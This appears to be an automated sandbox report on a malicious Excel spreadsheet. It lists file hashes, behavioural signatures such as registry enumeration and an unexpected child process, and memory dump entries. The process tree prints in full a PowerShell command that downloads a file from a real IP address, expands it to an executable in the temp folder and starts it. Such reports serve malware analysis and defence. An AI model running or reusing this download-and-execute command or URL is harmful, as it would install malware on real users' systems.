Analysis
-
max time kernel
28s -
max time network
32s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
10-07-2024 21:10
Behavioral task
behavioral1
Sample
2ae4d463cd4df974d95288744d1bbf686b42db45896e6c0ad4917f7aab42f32d.xls
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
2ae4d463cd4df974d95288744d1bbf686b42db45896e6c0ad4917f7aab42f32d.xls
Resource
win10v2004-20240709-en
General
-
Target
2ae4d463cd4df974d95288744d1bbf686b42db45896e6c0ad4917f7aab42f32d.xls
-
Size
126KB
-
MD5
d89dfeaadf6cdf2b7ea3435644180b3a
-
SHA1
bc9767d6217daba21cfdf8ed7e8dba01742bf196
-
SHA256
2ae4d463cd4df974d95288744d1bbf686b42db45896e6c0ad4917f7aab42f32d
-
SHA512
928a0d467b79ba834f031e2a220c75e56017f7df7dba57be4a9ce274881f422683d70fdf39053c5f1496d1c59bb084fe6e8c0984d70b7740be49a1df631a560e
-
SSDEEP
1536:KdKcpx2Sk/8E3NEN1vn5jG685uUDf44fAg:8AxdEzvn5jb8cU
Malware Config
Extracted
http://85.143.166.190/asdvx/fghs.php
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 2944 3056 cmd.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 2 2996 powershell.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum EXCEL.EXE Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 EXCEL.EXE -
Office loads VBA resources, possible macro or embedded object present
-
Enumerates system info in registry 2 TTPs 1 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 3056 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2996 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2996 powershell.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
Processes:
EXCEL.EXEpid process 3056 EXCEL.EXE 3056 EXCEL.EXE 3056 EXCEL.EXE -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
EXCEL.EXEcmd.exepowershell.exedescription pid process target process PID 3056 wrote to memory of 2944 3056 EXCEL.EXE cmd.exe PID 3056 wrote to memory of 2944 3056 EXCEL.EXE cmd.exe PID 3056 wrote to memory of 2944 3056 EXCEL.EXE cmd.exe PID 3056 wrote to memory of 2944 3056 EXCEL.EXE cmd.exe PID 2944 wrote to memory of 2996 2944 cmd.exe powershell.exe PID 2944 wrote to memory of 2996 2944 cmd.exe powershell.exe PID 2944 wrote to memory of 2996 2944 cmd.exe powershell.exe PID 2944 wrote to memory of 2996 2944 cmd.exe powershell.exe PID 2996 wrote to memory of 2600 2996 powershell.exe expand.exe PID 2996 wrote to memory of 2600 2996 powershell.exe expand.exe PID 2996 wrote to memory of 2600 2996 powershell.exe expand.exe PID 2996 wrote to memory of 2600 2996 powershell.exe expand.exe
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\2ae4d463cd4df974d95288744d1bbf686b42db45896e6c0ad4917f7aab42f32d.xls1⤵
- Maps connected drives based on registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://85.143.166.190/asdvx/fghs.php','%TEMP%\dsfsdFFFv.cab'); expand %TEMP%\dsfsdFFFv.cab %TEMP%\dsfsdFFFv.exe; start %TEMP%\dsfsdFFFv.exe;2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://85.143.166.190/asdvx/fghs.php','C:\Users\Admin\AppData\Local\Temp\dsfsdFFFv.cab'); expand C:\Users\Admin\AppData\Local\Temp\dsfsdFFFv.cab C:\Users\Admin\AppData\Local\Temp\dsfsdFFFv.exe; start C:\Users\Admin\AppData\Local\Temp\dsfsdFFFv.exe;3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\expand.exe"C:\Windows\system32\expand.exe" C:\Users\Admin\AppData\Local\Temp\dsfsdFFFv.cab C:\Users\Admin\AppData\Local\Temp\dsfsdFFFv.exe4⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/3056-1-0x000000007205D000-0x0000000072068000-memory.dmpFilesize
44KB
-
memory/3056-0-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/3056-2-0x00000000003B0000-0x00000000004B0000-memory.dmpFilesize
1024KB
-
memory/3056-3-0x00000000003B0000-0x00000000004B0000-memory.dmpFilesize
1024KB
-
memory/3056-18-0x00000000003B0000-0x00000000004B0000-memory.dmpFilesize
1024KB
-
memory/3056-17-0x00000000003B0000-0x00000000004B0000-memory.dmpFilesize
1024KB
-
memory/3056-15-0x00000000003B0000-0x00000000004B0000-memory.dmpFilesize
1024KB
-
memory/3056-14-0x00000000003B0000-0x00000000004B0000-memory.dmpFilesize
1024KB
-
memory/3056-12-0x00000000003B0000-0x00000000004B0000-memory.dmpFilesize
1024KB
-
memory/3056-11-0x00000000003B0000-0x00000000004B0000-memory.dmpFilesize
1024KB
-
memory/3056-10-0x00000000003B0000-0x00000000004B0000-memory.dmpFilesize
1024KB
-
memory/3056-9-0x00000000003B0000-0x00000000004B0000-memory.dmpFilesize
1024KB
-
memory/3056-8-0x00000000003B0000-0x00000000004B0000-memory.dmpFilesize
1024KB
-
memory/3056-7-0x00000000003B0000-0x00000000004B0000-memory.dmpFilesize
1024KB
-
memory/3056-6-0x00000000003B0000-0x00000000004B0000-memory.dmpFilesize
1024KB
-
memory/3056-5-0x00000000003B0000-0x00000000004B0000-memory.dmpFilesize
1024KB
-
memory/3056-4-0x00000000003B0000-0x00000000004B0000-memory.dmpFilesize
1024KB
-
memory/3056-13-0x00000000003B0000-0x00000000004B0000-memory.dmpFilesize
1024KB
-
memory/3056-26-0x00000000003B0000-0x00000000004B0000-memory.dmpFilesize
1024KB
-
memory/3056-27-0x00000000003B0000-0x00000000004B0000-memory.dmpFilesize
1024KB
-
memory/3056-25-0x00000000003B0000-0x00000000004B0000-memory.dmpFilesize
1024KB
-
memory/3056-24-0x00000000003B0000-0x00000000004B0000-memory.dmpFilesize
1024KB
-
memory/3056-23-0x00000000003B0000-0x00000000004B0000-memory.dmpFilesize
1024KB
-
memory/3056-22-0x00000000003B0000-0x00000000004B0000-memory.dmpFilesize
1024KB
-
memory/3056-21-0x00000000003B0000-0x00000000004B0000-memory.dmpFilesize
1024KB
-
memory/3056-19-0x00000000003B0000-0x00000000004B0000-memory.dmpFilesize
1024KB
-
memory/3056-30-0x00000000003B0000-0x00000000004B0000-memory.dmpFilesize
1024KB
-
memory/3056-31-0x00000000003B0000-0x00000000004B0000-memory.dmpFilesize
1024KB
-
memory/3056-32-0x000000007205D000-0x0000000072068000-memory.dmpFilesize
44KB